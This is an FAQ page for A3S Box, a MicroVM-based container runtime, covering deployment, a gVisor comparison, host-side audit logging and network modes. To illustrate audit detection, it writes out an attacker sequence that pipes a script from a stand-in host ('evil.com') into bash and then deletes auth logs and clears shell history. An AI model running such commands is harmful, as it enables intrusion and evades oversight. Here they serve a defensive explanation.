A3S Docs
A3S Box

Frequently Asked Questions

Common questions and answers about A3S Box

A3S Box FAQ

This document answers common questions about A3S Box's features, security, and usage.

Deployment & Usage

How do I deploy nginx with A3S Box?

Basic deployment:

# Simplest way - run nginx in background
a3s-box run -d --name web nginx:alpine

# With port mapping - map container port 80 to host port 8080
a3s-box run -d --name web -p 8080:80 nginx:alpine

# Full configuration - with network and volume
a3s-box run -d \
  --name web \
  --network mynet \
  -p 8080:80 \
  -v data:/app/data \
  nginx:alpine

Common operations:

# View running status
a3s-box ps

# View logs
a3s-box logs web -f

# Stop container
a3s-box stop web

# Start container
a3s-box start web

# Remove container
a3s-box rm web

# Execute commands in container
a3s-box exec -it web sh

Advanced configuration:

# With resource limits
a3s-box run -d \
  --name web \
  -p 8080:80 \
  --memory 512m \
  --cpus 2 \
  nginx:alpine

# With health check
a3s-box run -d \
  --name web \
  -p 8080:80 \
  --health-cmd "curl -f http://localhost/ || exit 1" \
  --health-interval 30s \
  nginx:alpine

# With TEE security isolation (requires AMD SEV-SNP hardware)
a3s-box run -d \
  --name web \
  -p 8080:80 \
  --tee-enable \
  nginx:alpine

# Simulate TEE environment (works on any machine)
a3s-box run -d \
  --name web \
  -p 8080:80 \
  --tee-simulate \
  nginx:alpine

Verify deployment:

# Test if nginx is running properly
curl http://localhost:8080

Key features:

  • 🚀 ~200ms cold start (MicroVM)
  • 🔒 Hardware-level isolation (each container in separate VM)
  • 🛡️ Optional TEE security (AMD SEV-SNP)
  • 🐳 Docker-compatible commands

Security & Isolation

What's the difference between gVisor and A3S Box?

gVisor and A3S Box are two different container isolation technologies with distinct approaches:

Core Architecture

gVisor:

  • User-space kernel: Implements a Linux kernel in user space (Sentry)
  • Syscall interception: Intercepts container syscalls and handles them in user space
  • Shared host kernel: No independent Linux kernel needed
  • Lightweight: Fast startup, low resource usage

A3S Box:

  • MicroVM: Each container runs in an independent virtual machine
  • Complete kernel isolation: Each container has its own Linux kernel
  • Hardware virtualization: Based on libkrun (KVM/HVF/WHPX)
  • ~200ms cold start: Near-container startup speed

Isolation Level Comparison

FeaturegVisorA3S Box
Kernel isolation❌ Shared host kernel✅ Independent kernel
Hardware isolation❌ Process-level✅ VM-level
TEE support❌ Not supported✅ AMD SEV-SNP/Intel TDX
Memory encryption❌ None✅ Hardware-level encryption
Attack surfaceMedium (user-space kernel)Small (hardware isolation)

Performance Comparison

gVisor:

  • Startup time: < 100ms
  • Syscall overhead: High (user-space processing)
  • Runtime performance: 70-80% native
  • Memory overhead: Low (shared kernel)

A3S Box:

  • Startup time: ~200ms
  • Syscall overhead: Low (real kernel)
  • Runtime performance: 90-95% native
  • Memory overhead: Medium (independent kernel)

Security Model

gVisor:

Container process → Sentry (user-space kernel) → Host kernel
  • Improves security by limiting syscalls
  • Depends on correct Sentry implementation
  • Cannot defend against host kernel vulnerabilities

A3S Box:

Container process → Guest kernel → Hypervisor → Host kernel
  • Hardware-level isolation
  • Supports TEE (Trusted Execution Environment)
  • Can defend against host attacks (TEE mode)

Compatibility

gVisor:

  • ✅ Syscall compatibility: ~70% (some syscalls not implemented)
  • ❌ Some applications may not run (requires special kernel features)
  • ✅ Good integration with Docker/Kubernetes

A3S Box:

  • ✅ Syscall compatibility: 100% (real Linux kernel)
  • ✅ All OCI images can run
  • ✅ Docker-compatible CLI (52 commands)
  • ✅ Kubernetes CRI support

Use Cases

gVisor is suitable for:

  • Multi-tenant environments (e.g., Google Cloud Run)
  • Short-lived tasks requiring fast startup
  • Scenarios with moderate performance requirements
  • Applications not requiring full syscall support

A3S Box is suitable for:

  • Production environments requiring strong isolation
  • Confidential computing scenarios (finance, healthcare)
  • AI inference services (requiring GPU isolation)
  • Applications needing full Linux compatibility
  • Workloads requiring TEE hardware protection

Command Comparison

gVisor (runsc):

# Run container with gVisor
docker run --runtime=runsc -d nginx

# Requires Docker daemon configuration

A3S Box:

# Standalone CLI, no configuration needed
a3s-box run -d nginx

# With TEE security
a3s-box run -d --tee-enable nginx

Summary

DimensiongVisorA3S Box
Isolation strength⭐⭐⭐⭐⭐⭐⭐⭐
Startup speed⭐⭐⭐⭐⭐⭐⭐⭐⭐
Runtime performance⭐⭐⭐⭐⭐⭐⭐
Compatibility⭐⭐⭐⭐⭐⭐⭐⭐
TEE support
Resource usage⭐⭐⭐⭐⭐⭐⭐⭐⭐

Selection guide:

  • Need strongest isolation and TEE support → A3S Box
  • Need fastest startup and lowest resource usage → gVisor
  • Need full compatibility and near-native performance → A3S Box
  • Google Cloud environment → gVisor (native support)

Can audit logs detect SSH log deletion attempts?

Yes! A3S Box's audit system can detect and record log deletion attempts, even when attackers try to cover their tracks.

The Problem with Traditional Containers

# Common attacker behavior after login
rm -f /var/log/auth.log
rm -f ~/.bash_history
history -c

Issues:

  • ❌ Audit logs inside container → attacker can delete them
  • ❌ Logs and audited objects in same trust domain

A3S Box Audit Architecture

┌─────────────────────────────────────┐
│  Container Interior (Guest VM)       │
│  - Application processes             │
│  - /var/log/auth.log (can be deleted)│
│  - ~/.bash_history (can be deleted) │
└─────────────────────────────────────┘
           ↓ All operations through Hypervisor
┌─────────────────────────────────────┐
│  Host Machine                        │
│  ~/.a3s/audit/audit.jsonl           │
│  (inaccessible to container)        │
└─────────────────────────────────────┘

A3S Box audit log features:

  • Stored on host: ~/.a3s/audit/audit.jsonl
  • Container processes cannot access: Hardware-level isolation (VM boundary)
  • Records all operations: Including exec, file operations, network connections
  • Persistent + rotation: Prevents log overflow

Audit Capability Comparison

ScenarioContainer LogsA3S Box Audit
Attacker deletes SSH logs❌ Logs lost✅ Deletion recorded
Attacker clears bash history❌ History lost✅ Commands recorded
Attacker modifies audit logs❌ May succeed✅ Cannot access host files
Attacker stops audit service❌ May succeed✅ Audit runs on host

Actual Audit Record Example

Suppose an attacker performs these operations:

# 1. Login to container
a3s-box exec -it web bash

# 2. Execute malicious commands
curl http://evil.com/malware.sh | bash

# 3. Try to cover tracks
rm -f /var/log/auth.log
history -c

A3S Box audit log records:

{"id":"evt-001","timestamp":"2026-03-16T08:00:00Z","action":"exec_command","box_id":"web","actor":"cli","outcome":"success","message":"exec bash","metadata":{"user":"root","tty":true}}

{"id":"evt-002","timestamp":"2026-03-16T08:00:15Z","action":"exec_command","box_id":"web","actor":"cli","outcome":"success","message":"exec curl http://evil.com/malware.sh","metadata":{"user":"root"}}

{"id":"evt-003","timestamp":"2026-03-16T08:00:30Z","action":"exec_command","box_id":"web","actor":"cli","outcome":"success","message":"exec rm -f /var/log/auth.log","metadata":{"user":"root"}}

Key point: Even if the attacker deletes /var/log/auth.log inside the container, the host's ~/.a3s/audit/audit.jsonl still contains a complete record of all operations.

Enhanced Protection in TEE Mode

If TEE (AMD SEV-SNP) is enabled, protection is even stronger:

# Run container with TEE enabled
a3s-box run -d --name web --tee-enable nginx

Additional protection:

  • Memory encryption: Attackers cannot obtain sensitive information through memory dumps
  • Remote attestation: Can verify container runtime environment hasn't been tampered with
  • Sealed storage: Audit logs can be sealed to TPM, preventing offline tampering

Querying Audit Logs

# View all exec operations
a3s-box audit --action exec_command

# View operations for specific container
a3s-box audit --box web

# View failed operations
a3s-box audit --outcome failure

# View operations within time range
a3s-box audit --since "2026-03-16T08:00:00Z" --until "2026-03-16T09:00:00Z"

Tamper-Proof Design

// Audit log write process (from source code)
pub fn log(&self, event: &AuditEvent) -> Result<()> {
    // 1. Serialize event
    let line = serde_json::to_string(event)?;

    // 2. Immediately write to disk
    file.write_all(line.as_bytes())?;

    // 3. Force flush to disk (prevent buffer loss)
    file.flush()?;

    // 4. Auto-rotate (prevent log overflow)
    if current_size >= max_size {
        rotate()?;
    }
}

Protection measures:

  • ✅ Each record immediately flush() to disk
  • ✅ Auto-rotation keeps multiple history files
  • ✅ Container processes have no permission to access host filesystem

Summary

For "delete SSH logs after login" attack technique:

Protection LayerTraditional ContainerA3S Box
Container logs❌ Can be deleted❌ Can be deleted (but unimportant)
Host audit⚠️ Depends on config✅ Enabled by default, forced isolation
Deletion traceable❌ No record✅ Complete record
Audit log tamper-proof⚠️ Depends on permissions✅ VM isolation + immediate persistence
TEE hardware protection❌ Not supported✅ Optional (SEV-SNP/TDX)

Conclusion: A3S Box's audit system can completely record attacker log deletion behavior because audit logs are stored on the host, inaccessible and untamperable by container processes. This is achieved through hardware-level VM isolation, making it more secure than traditional container audit systems.


Networking

What are A3S Box's network policies?

A3S Box provides flexible network policies with three network modes and three isolation levels.

1. Network Modes (3 types)

pub enum NetworkMode {
    Tsi,           // TSI mode (default) - no network interface, vsock proxy
    Bridge,        // Bridge mode - real eth0, container-to-container communication
    None,          // No networking
}

TSI Mode (Default)

# Default startup, no network specification needed
a3s-box run -d nginx

# Features:
# - No real network interface
# - Socket syscalls proxied to host via vsock
# - Most secure, minimal attack surface
# - Suitable for single-container applications

Bridge Mode

# Create network and join
a3s-box network create mynet
a3s-box run -d --name web --network mynet nginx

# Features:
# - Real eth0 network interface (via passt)
# - Containers can communicate directly
# - Supports DNS service discovery
# - Similar to Docker's bridge network

None Mode

# Completely no network
a3s-box run -d --network none nginx

# Features:
# - Complete isolation, no network access
# - Suitable for offline computing tasks

2. Isolation Policies (3 types)

pub enum IsolationMode {
    None,      // No isolation - all containers can communicate freely (default)
    Strict,    // Strict isolation - no container-to-container communication
    Custom,    // Custom rules - rule-based traffic control
}
2.1 None Mode (Default)
# Create network, default no isolation
a3s-box network create mynet

# All containers can communicate freely
a3s-box run -d --name web --network mynet nginx
a3s-box run -d --name api --network mynet node:alpine
a3s-box run -d --name db --network mynet postgres

# web ↔ api ↔ db all can access each other

Features:

  • ✅ Most flexible, similar to Docker default behavior
  • ✅ Containers can resolve each other via container name DNS
  • ⚠️ No isolation, requires application-layer access control
2.2 Strict Mode (Strict Isolation)
# Create strictly isolated network
a3s-box network create mynet --isolation strict

# Containers can only access external, cannot access each other
a3s-box run -d --name web --network mynet nginx
a3s-box run -d --name api --network mynet node:alpine

# web ✗ api (forbidden)
# web → Internet (allowed)
# api → Internet (allowed)

Features:

  • ✅ Complete container isolation
  • ✅ Can access external network (Internet)
  • ✅ Can access gateway
  • ❌ Containers cannot communicate with each other
  • Suitable for multi-tenant environments

⚠️ Important Note: According to source code, Strict and Custom modes are not yet enforced at runtime (requires iptables/nftables integration). Code validates and rejects at creation time.

2.3 Custom Mode (Custom Rules)
# Network policy configuration example (future support)
network:
  name: mynet
  isolation: custom
  ingress:
    - from: web
      to: api
      ports: [8080]
      protocol: tcp
      action: allow
    - from: api
      to: db
      ports: [5432]
      protocol: tcp
      action: allow
  egress:
    - from: "*"
      to: "*"
      ports: [443]
      protocol: tcp
      action: allow

Rule structure:

pub struct PolicyRule {
    pub from: String,        // Source container name (supports "*" wildcard)
    pub to: String,          // Destination container name (supports "*" wildcard)
    pub ports: Vec<u16>,     // Allowed ports (empty = all ports)
    pub protocol: String,    // tcp/udp/any
    pub action: PolicyAction, // allow/deny
}

3. Network Architecture Comparison

FeatureTSI ModeBridge Mode
Network interface❌ No eth0✅ Real eth0
Container communication❌ Not supported✅ Supported
DNS resolution❌ None✅ Container name resolution
External access✅ Via vsock proxy✅ Direct access
Security⭐⭐⭐⭐⭐⭐⭐⭐⭐
PerformanceMedium (proxy overhead)High (direct communication)
Use caseSingle-container appsMicroservices architecture

4. Practical Usage Examples

Scenario 1: Single-container web service (TSI mode)

# Simplest, most secure
a3s-box run -d -p 8080:80 --name web nginx

# Features:
# - No container-to-container communication capability
# - Serves externally via port mapping
# - Minimal attack surface

Scenario 2: Microservices architecture (Bridge mode + None isolation)

# 1. Create network
a3s-box network create backend

# 2. Start services
a3s-box run -d --name db --network backend postgres
a3s-box run -d --name api --network backend node:alpine
a3s-box run -d --name web --network backend -p 8080:80 nginx

# 3. Container communication
# api can access database via "db:5432"
# web can access API via "api:3000"

Scenario 3: Multi-tenant isolation (Strict mode - future)

# Tenant A network
a3s-box network create tenant-a --isolation strict
a3s-box run -d --name app-a --network tenant-a myapp

# Tenant B network
a3s-box network create tenant-b --isolation strict
a3s-box run -d --name app-b --network tenant-b myapp

# app-a and app-b completely isolated

5. Network Commands

# Create network
a3s-box network create mynet
a3s-box network create mynet --subnet 10.88.0.0/24 --gateway 10.88.0.1
a3s-box network create mynet --isolation strict

# View networks
a3s-box network ls
a3s-box network inspect mynet

# Connect/disconnect containers
a3s-box network connect mynet web
a3s-box network disconnect mynet web

# Delete network
a3s-box network rm mynet

6. DNS Service Discovery

In Bridge mode, containers can access each other by container name:

# Start database
a3s-box run -d --name db --network backend postgres

# Start API (can access database via "db")
a3s-box run -d --name api --network backend \
  -e DATABASE_URL=postgresql://user:pass@db:5432/mydb \
  node:alpine

# Inside api container
curl http://db:5432  # Automatically resolves to db container's IP

7. Comparison with Docker/Kubernetes

FeatureDockerKubernetesA3S Box
Default networkBridgeCNITSI (more secure)
Container isolationNetworkPolicyNetworkPolicyIsolationMode
DNS resolution
Network pluginsMultipleCNIpasst (built-in)
Hardware isolation✅ (VM-level)

8. Security Advantages

A3S Box network security features:

  1. Default least privilege (TSI mode)

    • No real network interface
    • Socket calls proxied via vsock
    • Attackers cannot directly manipulate network stack
  2. VM-level isolation

    • Each container has independent network namespace
    • Independent Linux kernel network stack
    • Hardware-level isolation (Hypervisor)
  3. Audit all network operations

    • Network creation/deletion
    • Container connection/disconnection
    • Policy changes
  4. Network protection in TEE mode

    # Network traffic encrypted within TEE
    a3s-box run -d --name web --network mynet --tee-enable nginx

Summary

Core design principles of A3S Box network policies:

  1. Secure by default: TSI mode minimizes attack surface
  2. Flexibility: Supports Bridge mode for microservices
  3. Isolation levels: None/Strict/Custom three policies
  4. Hardware isolation: VM-level network isolation
  5. Future expansion: Strict and Custom modes under development

Current status:

  • ✅ TSI mode: Fully available
  • ✅ Bridge mode + None isolation: Fully available
  • ⚠️ Strict/Custom modes: Configuration supported, runtime enforcement pending

Recommended usage:

  • Single-container applications → TSI mode
  • Microservices architecture → Bridge mode + None isolation
  • High security requirements → TSI mode + TEE

On this page